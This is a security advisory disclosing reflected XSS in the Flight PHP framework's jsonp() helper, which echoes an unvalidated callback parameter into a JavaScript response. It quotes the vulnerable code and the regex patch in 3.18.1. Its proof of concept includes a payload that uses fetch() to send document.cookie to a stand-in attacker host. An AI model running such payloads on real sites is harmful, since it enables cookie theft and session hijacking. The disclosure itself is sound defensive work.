GHSA-fcx8-ph5r-mxr4

### Summary `Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.

### Affected code `flight/Engine.php` (≈ lines 1000-1013):

```php $callback = $this->request()->query[$param]; $this->response() ->status($code) ->header('Content-Type', 'application/javascript; charset=' . $charset) ->write($callback . '(' . $json . ');'); ```

No regex or identifier validation is performed before the callback is written.

### Proof of concept Given any route that calls `Flight::jsonp($data)`:

``` GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);// ```

Reproduced response (`Content-Type: application/javascript`):

``` ;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"}); ```

When the vulnerable endpoint is loaded via `<script src="https://victim.tld/api?jsonp=…">` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.

### Impact - Reflected XSS in any application calling `Flight::jsonp()`. - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages. - Exfiltration of authenticated API responses.

### Patch (fixed in `3.18.1`, commit `b8dd23a`) `_jsonp()` now validates the callback name against `^[A-Za-z_$][\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before.

### Credit Discovered by **@Rootingg**.